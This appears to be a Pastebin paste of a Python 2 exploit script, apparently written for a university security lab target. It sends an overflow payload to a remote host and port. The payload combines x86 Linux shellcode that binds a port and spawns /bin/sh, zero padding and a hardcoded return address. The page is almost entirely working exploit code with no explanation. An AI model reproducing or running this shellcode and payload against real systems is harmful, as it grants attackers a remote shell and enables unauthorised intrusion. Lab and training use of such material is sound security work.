Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- host = 'seclab1.win.tue.nl';
- port = 1154;
- shellport = 1030;
- code = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e" +\
- "\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41" +\
- "\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80" +\
- "\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1" +\
- "\xb0\x0b\xcd\x80";
- print code;
- filler = "0"*(128-len(code));
- payload = code + filler + "\x4c\xec\xff\xbf" + "\0\n";
- sock = socket.create_connection((host, port));
- sock.send(payload);
- result = sock.recv(4096);
- sock.close();
- print result;
Add Comment
Please, Sign In to add comment